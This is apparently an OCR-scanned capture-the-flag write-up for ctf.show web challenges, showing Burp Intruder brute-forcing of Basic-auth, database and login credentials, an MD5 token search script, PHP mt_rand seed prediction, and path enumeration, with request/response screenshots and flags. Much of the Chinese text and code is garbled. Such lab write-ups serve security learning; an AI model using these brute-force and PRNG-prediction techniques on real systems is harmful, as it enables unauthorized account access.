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2 = |
Target | Positions TF’aonads T Options 1

@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload |
details.

Attack type: [Sniper

GET/HTTP/1.1

Host: c906fafl-Ibah-49c3-82cc-ae933b189c53. challenge. ctf show

User-Agent: Mozilla/s.0 (Windows MT 10.0; Wing4; x64; nv92.0) Gecko/20100101 Firefox/92.0
Accept: text/html application/xhtml+xml application/xml;q=0.9 imagefwebp *f q=0.8
Accept-Language: zh-CN zh;q=0.8 zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Authorization: Basic §YWRtaW4EMTIz§

CSDON @secOnd
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admin:123
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Hurp Intruder Hepeater VWindow Help

[Target T Proxy I Spider I Scanner Tlﬂtﬂld&' T Repeater T Sequencer I Decoder T Comparer I Extender T Project options

[ Target T Positions TPa]rIoads T Options }

m Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positiol
and each payload type can be customized in different ways.

Payload set: [1 |v] Payload count: 1

Payload type: [Custom iterator |v] Request count: 0

Payload Options [Custom iterator]

=)

This payload type lets you configure multiple lists of items, and generate payloads using all permutations of items in the

Pdsition: @ Clear all

List items for position 1 (1)

Paste admin

Load ...

Re

Clear

FliEle

§

/| |

| Add from list ... |v]

Separator for position 1
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You can define one or more payload sets. The number of payload sets depends or
and each payload type can be customized in different ways.

Payload set: [1 |v] Payload count: 1

Payload type: lCustom iterator |v] Request count: 0

Payload Options [Custom iterator]

()

This payload type lets you configure multiple lists of items, and generate payloads

Position: |2 | = Clear all

List items for position 2 (1)

l Pa*te |

| Remaove |

CSOM @secOnd_
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and each payload type can be customized in different ways.

Payload set: l‘l |'J Payload count: 4,451

Payload type: lCustﬂm iterator |'J Request count: 0

EJ Payload Options [Custom iterator]

This payload type lets you configure multiple lists of items, and generate pay

Position: |3 | ¥ Clear all |

List items for position 3 (4451)

Paste | |!@#5%&" Li

i

5555

EREXEE

Load ...

r___
o

Remaove
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aa0aanan

Clear
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Enter a new item
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Add payload processing rule *

Enter a new ifem

lMd from list . EWmebbiuglme_

[ Decode | ']

Separator for position 3

| Basebd-decode B

Preset schemes: [Choose a preset scheme

@ Payload Processing [&J [ﬂ]

You can define rules to perform various processing taj

Enabled | Rule

i

Edit
Remaove »>

Up

Wl

Down

—_—
L /

EJ Payload Encoding
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E Payload Encoding

This setting can be used to URL-encode selected characters within the final payload, for safe transmissiol

[] URL-encode these characters: M= 85

THGRE, BRRINERHER

R, WEET..... , BiiZAencode



Add Enter a new ifem

| Add from list __ B

Separator for popitie==
Add payload processing rule d

= | Enter the details of the payload processing rule.

Encod
Preset schemes [ neode M

[ Baseb4-encode }.'J

l] Payload Procf
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Attack Save Columns

_[ Results I Target T Positions I Payloads T Options }

Filter: Showing all items )
o
3| Request | Payload |Statu5 A| Errar | ﬂmecut| Length | Comment
— | 4080 YWRtaW46c2hhems2Mw== 200 L] (] 228 -
20 401 ] ] 304
il YWRtaW46IUANCVeio= 401 0| L) 304
T2 YWRtaW4BJCQkJA== 401 ] ] 304
(3 YWRta\W46KiogKiog 401 ] (] 304
"l YWRtaW46LiduLg== 401 ] ] 304
b YWRtaW46LJUINTc4Myd= 401 0| L) 304
e YWRtaW46MDAwWMA== 401 ] ] 304
-7 YWRtaW46MDAWMDA= 401 ] ] 304
K YWRtaW46MDAWMDAw 401 ] (] 304 ';
A Request | Response ]
quRaw T Headers T Hex }
HTTR/M .1 200 Ok A
Server: nginx/1.21.1 h
Date: Sat, 12 Mar 2022 08:51:39 GMT
Content-Type: text/html; charset=utf-8
.| Connection: close
~ X-Powered-By: PHP/7.3.11
; Content-Length: 45
) ctishow{19a0cd23-5388 495a 8899 8d1fB0cea23c}
1 9
. v
|8 _ 1 1 1
e < + > | | Type a search term 0 matches

web22
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<?php
error_reporting(0);

include('flag.php');
if(isset($ GET[ 'token'])){
$token = md5($_GET[ 'token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)==
=intval(substr($token, 31,1))){
echo $flag;
¥

¥
telse{
highlight file(_ FILE_ );

}

?>

intval — SREUAS & B HUE
substr — iR [B] FZ 55 & 1 T &8

RiiZ R B RtokenfImdSIE K], 35— A7 B+RAME+/\GAAE. BRG], ZFMMERUE MKE FTE=+(M80E.
ZFMMBUE A, =FEE, STEMCRE, BRUME—CRRERINS, BIE =1 —fr B 5E N %R 3
TER—Amd5ME, ZHfEtokenfe{iid %

import hashlib
a = "0123456789qwertyuiopasdfghjklzxcvbnm"
for i in a:
for j in a:
b (str(i) + str(j)).encode("utf-8")
m = hashlib.md5(b).hexdigest()
if(m[1:2] == m[14:15] and m[14:15] == m[17:18]):
if ((int(m[1:2]) + int(m[14:15]) + int(m[17:18])) / int(m[1:2])) == int(m[31:32]):
print('FEE/FEAN:",b)
print(' N EZERFERN:",m)

HHRIER A, 3j
% jE AN, f12882fc7cde8el1balcadec10e3e9393
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<?php

error_reporting(9);
include("flag.php");
if(isset($ GET['r'])){
$r = $ GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;

}
telse{

highlight file(_ FILE );
echo system('cat /proc/version');

?>

mt_rand() { F§ Mersenne Twister 523k [5] BEH1 8 % .
mt_srand() #F Mersenne Twister FEHL %4 B 5% o

24 BEALER A TR AN RE B (48 ), mit_rand ()75 21 B4 BE AL 20 2 B 52 9, BT A2 AT J& K Bmt_rand()=1155388967 /¢ 5
r=1155388967 I A

< C A == | 8943998f-790c-456c-adb8-0515836080b2.challenge.ctf.show/?r=1155388967

ctfshow{2cccaaad-6a7b-4e73-bec8-a1b54ad5003a}

web25



<?php

error_reporting(9);
include("flag.php");
if(isset($_GET['r'])){
$r = $ GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($ COOKIE[ 'token']==(mt_rand()+mt_rand())){
echo $flag;

)
telse{
echo $rand;
)i
telse{

highlight_file(_ FILE_);
echo system('cat /proc/version');

SHARREET LR B, 5%641=0, ATLAEFImt_rand()KIFEHLIE 2119447047

Go Cancel < |v > |

Request

J Raw T Params T Headers T Hex }

Target: http://81f41dad-73b0-46.

Response

| Raw | Headers | Hex |

GHT /?r=0 P A&
Host: 81141 dad-73b0-4625-be5b-e38ccbb17999 challenge. otf. show

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:92.0) Geckao/20100101
Firefox/92.0

Accept: text/html application/xhtml+xml application/xml;q=0.9 image/webp /", q=0.8
Accept-Language: zh-CN zh;g=0.8 zh-TW,;q=0.7 zh-HK;q=0.5 en-U5;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http:/i81141dad-73b0-4625-bc5b-e38cchh 17999, challenge. ctf show/
Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

HTTRAM .1 200 OK

Server: nginx1.21.1

Date: Sun, 13 Mar 2022 06:33:54 GMT
Content-Type: text/html; charset=UTF-8
Connection: close

#-Powerad-By: PHP/T 3.1
Content-Length: 11

2119447047

CSDN @secOnd



B 2Imt_rand(HIME)E, FHFEMEEM TseedfE, FIHIE

Version:
Found @,
Version:
Found
seed =

Found 1,

seed =

Found ] peed 3
seed 4 7 )
Found

seed

seed

Found 5,

Found 5

RIETFEmt_rand()EE = ZIRFIMBHEZ M. phpfEg T A

PHP 2T S v g —= = hR{ i

<iphp 2119447047 <p_;;>-i<br =
mt_srand (3864012571) ;

echo mt_rand(). “<hr /7

echo mt_rand()+mt_rand (). “<be/>7;

>

_SDMN @secOnd

RERE—MES=00EMSE, A e EH2%E == FEYLERA

A rhmt_rand()ffI{E, 4-cookie Ntoken=2 =, =/NBEHLE A
(MR G FIseedMfE. XRBRE—N4Hflagh)

Raw | Params | Headers | Hex Raw | Headers | Hex

GET /?r=2119447047 HTTP/M A i HTTR/.1 200 Ok

Host: 8141 dad-73b0-4625-bebh-e38cchh 17999 challenge. ctf show 1 Server: nginx/1.21.1

Referer: http://81f41dad-73b0-4625-bcsb-e38cchh 17999, challenge. ctf. show/ Date: Sun, 13 Mar 2022 06:58:08 GMT
cookie: token=1829886387 Content-Type: text/html; charset=UTF-8

Connection: keep-alive
¥-Powered-By: PHP/7.3.11
Content-Length: 45

ctfshow{B587h4f4.7112 4fdf-a9bb-Scc2che3d15e}

CSDN @secOnd
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FeEAIEHERESY. CIEhudtEE: SECEREES SNE NERFET A AEEN T ARRER,

ERAREIEFRECIGlrR (FIFEEES) | WERAACIEshoyEe, SEEERETETREERSENN (Robots Exclusion Protocol) INEHERMERE
iZ, B0, CIEshowis#EERIIE TR,

FERISEE AASER I EshowiE T ETNE — AR ARSI SAIEEESRESE, mERARCICshoyRH SEEHE, FRESHTH. SUSEER
FHREIESIEE, CIishomidl BREEiEE, ESRsERETEXEERE, FRESEaEnSIeiEr=8,

2EEE

AEFACIEshowFEAAESRAR
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EEEA BEE
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CTFshow flagE B RATE

FEFEEYE - localhost

SR cif

EF&:root

W3 123456

v — O X
ctfshowESF=ERH b4 +
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Attack type: Sniper

FOST fcheckdh.php HTTR/ .1

Host: 0d52525d-44d5-4b6d-a99e-034a835d860. challenge. ctf show

User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; nv:92.0) Gecko/20100101 Firefox/92.0
Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CM zh;g=0.8 zh-TW,q=0.7 ,zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/s-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 43

Crigin: http:/I0d52525d-44d5-4b6d-a99e-f034a835d860. challenge. ctf show

Connection: close

Referer: http://0d52525d-44d5-4bBd-a99e-034a835d86h. challenge. ctf showfinstall. php?

a=localhost&p=3306Ed=ctflu=root&pass=§1234565

ML deeer 8

Attack Save Columns

(s |

j Results T Target I Positions T Payloads I Options ]

Filter: Showing all items

Request | Payload |Status | Emor | Timeout | Length ¥ | Comment
2384 7758521 200 ] ] 306
0 200 O] ] 247
1 @5 %" 200 Ol O 247
2 BhbD 200 O] [ 247
3 i 200 Ol O 247
4 200 O] ] 247
5 575783, 200 Ol O 247
6 0000 200 O] ] 247
7 00000 200 Ol O 247
B8 Qooooo 200 O] ] 247

Reguest | Response 1

| Raw | Headers | Hex |

HTTP/1.1 200 OK

Server: nginx1.21.1

Date: Sun, 13 Mar 2022 07:30:32 GMT
Caontent-Type: text/html; charset=UTF-8
Connection: close

¥-Powered-By: PHP/7.3.11
Content-Length: 122

{"success":true,"msg"”:"wb6570\u636 e'\use93\uBfde'\ub63ad u62 105291, "flag™: "ctishow{21c1343a 59814213 8303 9heba2ccceb9} 7}

FHA, ZTHFR T ARlengthi R

XAMEEE —FAEFIME https://oatmeal.vip/writeup/ctfshow/ctfshow-web/

web27
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CTFshow § 4@ %{‘ @ﬁ

HFEERE
=

5D
8
"
>
bo

F=
| = |
Oﬁﬁﬂ@lﬂlm@fﬁi%ﬁ |
HEE
FEFEESSEES
lFie1999-2017 ErmumnaRLs BiFa
CSDMN @secOnd
S
4 A B | C | D | E F
B CTFshow3EEF R & B
]
i FS HH Tl SHHESH &
i 1 S WEB 621022 #xsxs%245237
i 2 HAE MISC 360730 #xxsx2+7653 "R
i 3 BRI RE 522601 ##xs+2+8092
i 4 TEE PWN 451023 #sxsx%23419 ERM R
! 5 #PTEH CRYPTO 410927 #####5%+5570
! CSDN @secOnd
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WHRPLZ R A F A R Z+FIES &S, BRXRIER
2 B 2 ) T B A TR AR

<script>

function check(){
$oajax({
url:’ checkdb. php’,
type: POST,
dataType: jsor’,
data: {
Ta 130 Ha ). wall),
B30 A ) val ()
1,
success:functionidata) |
alert(datal msg’ 1) ;
1,
error:function(data) |
alert(datal msg’ 1),

}
CS5DM @secOnd_
1
hackbar L EPOST# 3
Encryption ~ Encoding ~ SQL~ XSS~ LFl~ JXXE~ Other~ BOEAIRE:
g Load URL http:/ic4613c54-b486-41e2-9f67-6bas0adf16f2_challenge cif show/info/checkdb php
1 split URL
[ +) Execute )
Postdata [] Referer [] User Agent [] Cookies Clear All
ADD T

A== S RE&p=621022%==5237 CSDN @secOnd



4-b48B-41e2-9f57-6haS0adf16f2. challenge. ctf show/info/checkdb. php

ests: 1

©35 %88 % E4 % BC%BALp=621022 § 85237

12

()

Payload Sets

You can define one or more payload sets. The number of payload sets depends
and each payload type can be customized in different ways.

Payload set: [‘1 |v] Payload count: 5,844

Payload type: lDates |v] Request count: 5,844

Payload Options [Dates]

This payload type generates date payloads within a given range and in a specifie

From: |1 | January x| 1990
Too 31 | |December 7| 2005
Step: |1 | Days v
Format: O (22343 v

®  |yyyyMNMdd

Example: 19900101
CSDN @secOnd_



WEFHMWGE, Jraamu

CULGLT. EYE W2

_[ Results I Target T Positions I Payloads T Options }

Filter: Showing all items t
Request | Payload Status | Errar | Timeout | Length | Comment
32 | 19900201 200 L (] 3

0 200 O L 241

1 19900101 200 O L 24

2 19900102 200 O L 241

3 19900103 200 O L 24

4 19900104 200 O L 241

h 19900105 200 O L 24

6 19900108 200 O L 241

7 19900107 200 O L 24

g 19900108 200 O L 24

Request | Response ]

| Raw | Headers | Hex |

HTTR/M .1 200 0K

Server: nginx/1.21.1

Date: Sun, 13 Mar 2022 08:02:30 GMT
Content-Type: text/html; charset=UTF-8
Connection: close

X-Powered-By: PHP/7.3.11
Content-Length: 195

{"0™:"success”,"msg": 606 d\u559 c'ub0a8 \uffd c\ub0a8\uddf2\uB8ab'\u62 11682 1\w5fH5\ud3 d6 \uffd c\ud f60\u7684\uSh66'\w53fMude3a
02015237 'w521dwi9chudbcb\u7801\ude3a‘uBeab ud efd\uBbc i3 u7d01"}

CSDN @secOnd

BRI, REKZunicodeZmid s i1, fRG—T

UnicodefEi3 | UTF-84812  URUEE/ER  UnixBHEEE  Ascii/NativelsBE%E  HewRE/MER  HimiRE/ED

ws06d\us59c\uelaB\uffichublad\usdf2\uBBab\us2 11\ uk82 1\u5f55\u ublBdER, EOERERE. (FHEEHR02015237 YEEEAEGIES
53dehwuffoc\udfe0hu7 e84\ usboeh\us3fMude3al2015237 B
YWw5s21d\59cbhubbet\u 780 wdedat\udeab\udefd\uBbc 15 3FMu7 801

ASCII 3 Unicode | Unicode % ASCIl | Unicode % iy @ g5z # Unicode b=t
=== STl 0]gls



BRZLSMEN, ENTFHRNESGRAER

186-41e2-9f67-6ba50adf16f2.challenge.ctf.show

SRR ctfshow{54: Jca-4c9
bb
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<« > C AK'EE—%IaUc965c5-d81?-4Dde-8239-6366314[]318f.cha|Ienge.ctf.sh{w,ﬂ'0,.f'l,f2.txt

weh28: where 1z flag?

BEIXMANZ S5, MizREBRBEEF
||x|.¢x|JX|‘+X|3X|...|

Target | Positions T Payloads T Options }

EJ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigr
details.

Attack type: | Cluster bomb

GET /505/§1& HTTP/M 1
Host 200065008 d8 1 7-A0d e §239-6366a140318f. challenge. cif. show

User-Agent: Mozilla/s.0 (Windows NT 10.0; WinB4; x64; rv:92.0) Gecko/20100101 Firefox/92.0

Accept: text/html application/xhtml+xml application/xml;q=0.9 imagefwebp ™ q=0.8

Accept-Language: zh-CN,zh;q=0.8 zh-TW,q=0.7 ,zh-HK;g=0.5 en-US;q=0.3 en;q=0.2

Accept-Encading: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1 CSDMN @secOnd
-badifiesd-Sinece: Tho M3 Sen 2020 133552 (50T

payload1fI2— & &, MOZE|100

You can define one or more payload sets. The number of payload sets depends on the attacl
and each payload type can be customized in different ways.

Payload set: l2 |'J Payload count: 101

Payload type: lNumhers |'J Request count: 10,201

Payload Options [Numbers]

()

This payload type generates numeric payloads within a given range and in a specified format.

MNumber range

Type: (®) Sequential () Random
From: 0

Ta: 100

Step: ‘ 1

How many:

CSDMN @secOnd
Mumber format



BiR Gy 20

Attack Save Columns

jRequts TTarget T Positions I Payloads T Options }

Filter: Showing all items g
Request | Payload1 | Payload2 | Status & | Ermor | Timeout | Length | Comment

2093 72 20 | 200 O ) 228 I
101 100 0 302 ] ] 208

202 100 1 302 O O 208 I
303 100 2 302 ] ] 208

404 100 3 302 O O 208

505 100 4 302 ] ] 208

606 100 5 302 O O 208

Tor 100 6 302 ] ] 208

808 100 7 302 O O 208 I;
_-‘:.l‘(_ Patal [al e Ta T —i —i LalaTa! _)_‘T

Request | Response ]

J Raw | Headers | Hex |

HTTR/M .1 200 OK

Server: nginx/1.21.1

Date: Sun, 13 Mar 2022 08:24:22 GMT
Content-Type: text/html; charset=UTF-8
Connection: close

K-FPowered-By: PHP/F 3.11
Content-Length: 45

ctishow{6e92f9h4-f0ba-42c2 8f0e-8036741hd217}

BTENTZRERI T

o ennilne
CSDM @secOnd
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